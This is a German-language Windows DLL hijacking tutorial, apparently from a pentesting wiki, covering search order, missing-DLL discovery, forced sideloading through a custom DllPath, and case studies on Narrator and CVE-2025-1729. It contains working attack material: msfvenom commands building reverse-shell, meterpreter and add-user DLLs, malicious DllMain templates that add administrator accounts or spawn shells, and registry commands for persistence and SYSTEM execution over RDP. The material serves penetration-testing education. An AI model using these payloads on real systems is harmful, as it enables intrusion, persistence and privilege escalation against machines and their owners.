Dll Hijacking

Reading time: 18 minutes

Grundlegende Informationen

DLL Hijacking beinhaltet, eine vertrauenswürdige Anwendung dazu zu bringen, eine bösartige DLL zu laden. Dieser Begriff umfasst mehrere Taktiken wie DLL Spoofing, Injection, and Side-Loading. Er wird hauptsächlich für code execution, zum Erlangen von persistence und seltener für privilege escalation genutzt. Obwohl hier der Fokus auf Escalation liegt, bleibt die Methode des Hijackings über die Ziele hinweg gleich.

Häufige Techniken

Mehrere Methoden werden für DLL Hijacking verwendet; ihre Effektivität hängt von der DLL-Loading-Strategie der Anwendung ab:

1. DLL Replacement: Ersetzen einer echten DLL durch eine bösartige, optional unter Verwendung von DLL Proxying, um die Funktionalität der Original-DLL beizubehalten.
2. DLL Search Order Hijacking: Platzieren der bösartigen DLL in einem Suchpfad, der vor dem legitimen liegt, und damit Ausnutzen des Suchmusters der Anwendung.
3. Phantom DLL Hijacking: Erstellen einer bösartigen DLL, die eine Anwendung lädt, weil sie glaubt, eine benötigte DLL existiere, die in Wirklichkeit fehlt.
4. DLL Redirection: Ändern von Suchparametern wie %PATH% oder .exe.manifest / .exe.local Dateien, um die Anwendung auf die bösartige DLL zu lenken.
5. WinSxS DLL Replacement: Ersetzen der legitimen DLL durch eine bösartige Version im WinSxS-Verzeichnis, eine Methode, die oft mit DLL side-loading assoziiert ist.
6. Relative Path DLL Hijacking: Platzieren der bösartigen DLL in einem vom Benutzer kontrollierten Verzeichnis zusammen mit der kopierten Anwendung, ähnlich wie bei Binary Proxy Execution techniques.

Fehlende DLLs finden

Die häufigste Methode, fehlende DLLs in einem System zu finden, ist das Ausführen von procmon von sysinternals und das Setzen der folgenden 2 Filter:

und dann nur die File System Activity anzeigen:

Wenn du nach fehlenden DLLs im Allgemeinen suchst, lässt du das für einige Sekunden laufen.
Wenn du nach einer fehlenden DLL in einem bestimmten ausführbaren Programm suchst, solltest du einen weiteren Filter wie "Process Name" "contains" <exec name> setzen, das Programm ausführen und die Aufzeichnung dann stoppen.

Exploiting Missing Dlls

Um Privilegien zu erhöhen, ist unsere beste Chance, eine DLL schreiben zu können, die ein privileged process zu laden versucht, an einem Ort, an dem sie durchsucht wird. Daher können wir entweder eine DLL in einem Ordner schreiben, der vor dem Ordner liegt, in dem die Original-DLL vorhanden ist (seltenes Szenario), oder wir schreiben in einen Ordner, in dem die DLL durchsucht wird, und die Original-DLL existiert in keinem der durchsuchten Ordner.

Dll Search Order

Inside the Microsoft documentation you can find how the Dlls are loaded specifically.

Windows-Anwendungen suchen nach DLLs, indem sie einer Reihe vordefinierter Suchpfade folgen und einer bestimmten Reihenfolge gehorchen. Das Problem des DLL Hijackings entsteht, wenn eine schädliche DLL strategisch in einem dieser Verzeichnisse platziert wird, sodass sie vor der echten DLL geladen wird. Eine Lösung, dies zu verhindern, besteht darin, sicherzustellen, dass die Anwendung absolute Pfade verwendet, wenn sie auf die benötigten DLLs verweist.

Du kannst die DLL-Suchreihenfolge auf 32-Bit Systemen unten sehen:

1. Das Verzeichnis, aus dem die Anwendung geladen wurde.
2. Das Systemverzeichnis. Verwende die GetSystemDirectory-Funktion, um den Pfad dieses Verzeichnisses zu erhalten. (C:\Windows\System32)
3. Das 16-Bit-Systemverzeichnis. Es gibt keine Funktion, die den Pfad dieses Verzeichnisses ermittelt, aber es wird durchsucht. (C:\Windows\System)
4. Das Windows-Verzeichnis. Verwende die GetWindowsDirectory-Funktion, um den Pfad dieses Verzeichnisses zu erhalten.
5. (C:\Windows)
6. Das aktuelle Verzeichnis.
7. Die Verzeichnisse, die in der PATH-Umgebungsvariable aufgeführt sind. Beachte, dass dies nicht den pro-Anwendung-Pfad einschließt, der durch den App Paths Registry-Schlüssel angegeben wird. Der App Paths-Schlüssel wird nicht bei der Berechnung des DLL-Suchpfads verwendet.

Das ist die Standard-Suchreihenfolge mit aktiviertem SafeDllSearchMode. Wenn dieser deaktiviert ist, steigt das aktuelle Verzeichnis auf den zweiten Platz. Um diese Funktion zu deaktivieren, erstelle den Registry-Wert HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode und setze ihn auf 0 (Standard ist aktiviert).

Wenn die LoadLibraryEx-Funktion mit LOAD_WITH_ALTERED_SEARCH_PATH aufgerufen wird, beginnt die Suche im Verzeichnis des ausführbaren Moduls, das LoadLibraryEx lädt.

Beachte abschließend, dass eine DLL auch mit einem absoluten Pfad angegeben werden kann anstatt nur mit dem Namen. In diesem Fall wird die DLL nur in diesem Pfad gesucht (falls die DLL Abhängigkeiten hat, werden diese so gesucht, als wären sie nur per Name geladen worden).

Es gibt noch andere Möglichkeiten, die Suchreihenfolge zu verändern, die ich hier nicht erklären werde.

Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath

Eine fortgeschrittene Methode, den DLL-Suchpfad eines neu erstellten Prozesses deterministisch zu beeinflussen, ist das Setzen des DllPath-Feldes in RTL_USER_PROCESS_PARAMETERS beim Erstellen des Prozesses mit den nativen ntdll-APIs. Indem man hier ein vom Angreifer kontrolliertes Verzeichnis angibt, kann ein Zielprozess, der eine importierte DLL per Name auflöst (kein absoluter Pfad und keine Verwendung sicherer Ladeflags), dazu gezwungen werden, eine bösartige DLL aus diesem Verzeichnis zu laden.

Kernidee

• Baue die Prozessparameter mit RtlCreateProcessParametersEx und gib einen benutzerdefinierten DllPath an, der auf deinen kontrollierten Ordner zeigt (z. B. das Verzeichnis, in dem dein dropper/unpacker liegt).
• Erstelle den Prozess mit RtlCreateUserProcess. Wenn die Ziel-Binärdatei eine DLL per Name auflöst, konsultiert der Loader diesen bereitgestellten DllPath während der Auflösung, was zuverlässiges sideloading ermöglicht, selbst wenn die bösartige DLL nicht mit der Ziel-EXE zusammenliegt.

Anmerkungen/Einschränkungen

• Dies betrifft den erzeugten Child-Prozess; es unterscheidet sich von SetDllDirectory, das nur den aktuellen Prozess beeinflusst.
• Das Ziel muss eine DLL per Name importieren oder mit LoadLibrary laden (kein absoluter Pfad und keine Verwendung von LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
• KnownDLLs und hartkodierte absolute Pfade können nicht hijacked werden. Forwarded exports und SxS können die Priorität verändern.

Minimaler C-Beispielcode (ntdll, wide strings, vereinfachte Fehlerbehandlung):

#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")

// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);

typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);

static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}

int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";

// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);

UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir);      // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);

RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");

RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;

RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;

// Resume main thread etc. if created suspended (not shown here)
return 0;
}

Praktisches Anwendungsbeispiel

• Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
• Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads deine DLL.

Diese Technik wurde in freier Wildbahn beobachtet, um mehrstufige Sideloading-Ketten zu erzeugen: Ein initialer Launcher legt eine Hilfs-DLL ab, die dann ein von Microsoft signiertes, hijackbares Binary mit einem benutzerdefinierten DllPath startet, um das Laden der DLL des Angreifers aus einem Staging-Verzeichnis zu erzwingen.

Ausnahmen bei der DLL-Suchreihenfolge aus der Windows-Dokumentation

Certain exceptions to the standard DLL search order are noted in Windows documentation:

• When a DLL that shares its name with one already loaded in memory is encountered, the system bypasses the usual search. Instead, it performs a check for redirection and a manifest before defaulting to the DLL already in memory. In this scenario, the system does not conduct a search for the DLL.
• In cases where the DLL is recognized as a known DLL for the current Windows version, the system will utilize its version of the known DLL, along with any of its dependent DLLs, forgoing the search process. The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs holds a list of these known DLLs.
• Should a DLL have dependencies, the search for these dependent DLLs is conducted as though they were indicated only by their module names, regardless of whether the initial DLL was identified through a full path.

Privilegien eskalieren

Voraussetzungen:

• Identify a process that operates or will operate under different privileges (horizontal or lateral movement), which is lacking a DLL.
• Ensure write access is available for any directory in which the DLL will be searched for. This location might be the directory of the executable or a directory within the system path.

Ja, die Voraussetzungen sind schwer zu finden, da es standardmäßig ziemlich ungewöhnlich ist, ein privilegiertes ausführbares Programm zu finden, dem eine DLL fehlt, und es ist noch ungewöhnlicher, Schreibrechte in einem Verzeichnis des Systempfads zu haben (standardmäßig hast du das nicht). Aber in fehlkonfigurierten Umgebungen ist das möglich.
Falls du Glück hast und die Voraussetzungen erfüllst, kannst du dir das Projekt UACME ansehen. Auch wenn das Hauptziel des Projekts ist, UAC zu umgehen, findest du dort möglicherweise einen PoC of a Dll hijaking für die Windows-Version, den du verwenden kannst (wahrscheinlich reicht es, den Pfad des Ordners zu ändern, in den du Schreibrechte hast).

Beachte, dass du deine Berechtigungen in einem Ordner prüfen kannst, indem du:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

Und prüfe die Berechtigungen aller Ordner im PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Du kannst auch die imports einer executable und die exports einer dll mit folgendem Befehl prüfen:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Für eine vollständige Anleitung, wie man Dll Hijacking ausnutzt, um Privilegien zu eskalieren mit Berechtigungen, in einen System Path folder zu schreiben, siehe:

Writable Sys Path +Dll Hijacking Privesc

Automated tools

Winpeas wird prüfen, ob du Schreibberechtigungen für einen Ordner innerhalb des system PATH hast.
Weitere interessante automatisierte Tools, um diese Schwachstelle zu entdecken, sind PowerSploit functions: Find-ProcessDLLHijack, Find-PathDLLHijack und Write-HijackDll.

Example

Falls du ein ausnutzbares Szenario findest, ist eine der wichtigsten Maßnahmen, um es erfolgreich auszunutzen, eine dll zu erstellen, die mindestens alle Funktionen exportiert, die die ausführbare Datei von ihr importieren wird. Beachte, dass Dll Hijacking nützlich sein kann, um escalate from Medium Integrity level to High (bypassing UAC) oder von High Integrity to SYSTEM aufzusteigen. Du findest ein Beispiel how to create a valid dll in dieser dll hijacking-Studie, die sich auf dll hijacking zur Ausführung konzentriert: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows.
Außerdem findest du im nächsten Abschnitt einige einfache dll-Codes, die als Vorlagen nützlich sein könnten oder um eine dll zu erstellen, die nicht benötigte Funktionen exportiert.

Creating and compiling Dlls

Dll Proxifying

Im Grunde ist ein Dll proxy eine Dll, die in der Lage ist, deinen bösartigen Code beim Laden auszuführen, aber auch die erwarteten Funktionen zu bereitstellen und wie erwartet zu funktionieren, indem sie alle Aufrufe an die echte Bibliothek weiterleitet.

Mit dem Tool DLLirant oder Spartacus kannst du tatsächlich eine ausführbare Datei angeben und die Bibliothek auswählen, die du proxifizieren möchtest, und eine proxifizierte dll erzeugen, oder die Dll angeben und eine proxifizierte dll erzeugen.

Meterpreter

Get rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Einen meterpreter (x86) erhalten:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Einen Benutzer erstellen (x86 — ich habe keine x64-Version gesehen):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Eigenes

Beachte, dass in mehreren Fällen die Dll, die du kompilierst, mehrere Funktionen exportieren muss, die vom victim process geladen werden. Wenn diese Funktionen nicht existieren, wird die binary sie nicht laden können und der exploit wird fehlschlagen.

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}

//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}

//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

Fallstudie: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)

Windows Narrator.exe prüft beim Start weiterhin eine vorhersehbare, sprachspezifische Lokalisierungs-DLL, die gehijackt werden kann, um arbitrary code execution und persistence zu erreichen.

Key facts

• Probe path (current builds): %windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll (EN-US).
• Legacy path (older builds): %windir%\System32\speech\engine\tts\msttslocenus.dll.
• If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and DllMain(DLL_PROCESS_ATTACH) executes. No exports are required.

Discovery with Procmon

• Filter: Process Name is Narrator.exe und Operation is Load Image oder CreateFile.
• Start Narrator und beobachten Sie den Ladeversuch des oben genannten Pfads.

Minimale DLL

// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}

OPSEC silence

• A naive hijack will speak/highlight UI. To stay quiet, on attach enumerate Narrator threads, open the main thread (OpenThread(THREAD_SUSPEND_RESUME)) and SuspendThread it; continue in your own thread. See PoC for full code.

Trigger and persistence via Accessibility configuration

• Benutzerkontext (HKCU): reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
• Winlogon/SYSTEM (HKLM): reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
• With the above, starting Narrator loads the planted DLL. On the secure desktop (logon screen), press CTRL+WIN+ENTER to start Narrator.

RDP-triggered SYSTEM execution (lateral movement)

• Allow classic RDP security layer: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
• RDP to the host, at the logon screen press CTRL+WIN+ENTER to launch Narrator; your DLL executes as SYSTEM on the secure desktop.
• Execution stops when the RDP session closes—inject/migrate promptly.

Bring Your Own Accessibility (BYOA)

• Sie können einen eingebauten Accessibility Tool (AT)-Registry-Eintrag klonen (z. B. CursorIndicator), ihn so bearbeiten, dass er auf eine beliebige binary/DLL zeigt, ihn importieren und dann configuration auf diesen AT-Namen setzen. Dadurch wird beliebige Ausführung unter dem Accessibility-Framework ermöglicht.

Notes

• Schreiben unter %windir%\System32 und das Ändern von HKLM-Werten erfordert Admin-Rechte.
• Die gesamte Payload-Logik kann in DLL_PROCESS_ATTACH leben; keine Exporte sind erforderlich.

Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe

This case demonstrates Phantom DLL Hijacking in Lenovo's TrackPoint Quick Menu (TPQMAssistant.exe), tracked as CVE-2025-1729.

Vulnerability Details

• Komponente: TPQMAssistant.exe located at C:\ProgramData\Lenovo\TPQM\Assistant\.
• Scheduled Task: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask runs daily at 9:30 AM under the context of the logged-on user.
• Verzeichnisberechtigungen: Writable by CREATOR OWNER, allowing local users to drop arbitrary files.
• DLL Search Behavior: Attempts to load hostfxr.dll from its working directory first and logs "NAME NOT FOUND" if missing, indicating local directory search precedence.

Exploit Implementation

Ein Angreifer kann einen bösartigen hostfxr.dll-Stub im selben Verzeichnis ablegen und die fehlende DLL ausnutzen, um Code-Ausführung im Kontext des Benutzers zu erreichen:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

Angriffsablauf

1. Als Standardbenutzer lege hostfxr.dll in C:\ProgramData\Lenovo\TPQM\Assistant\ ab.
2. Warte, bis die geplante Aufgabe um 9:30 AM im Kontext des aktuellen Benutzers ausgeführt wird.
3. Wenn ein Administrator angemeldet ist, wenn die Aufgabe ausgeführt wird, läuft die bösartige DLL in der Sitzung des Administrators mit mittlerer Integrität.
4. Kombiniere standardmäßige UAC bypass techniques, um von mittlerer Integrität zu SYSTEM-Privilegien zu eskalieren.

Referenzen

• CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
• Microsoft Store - TPQM Assistant UWP
• https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
• https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
• Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe
• TrustedSec – Hack-cessibility: When DLL Hijacks Meet Windows Helpers
• PoC – api0cradle/Narrator-dll
• Sysinternals Process Monitor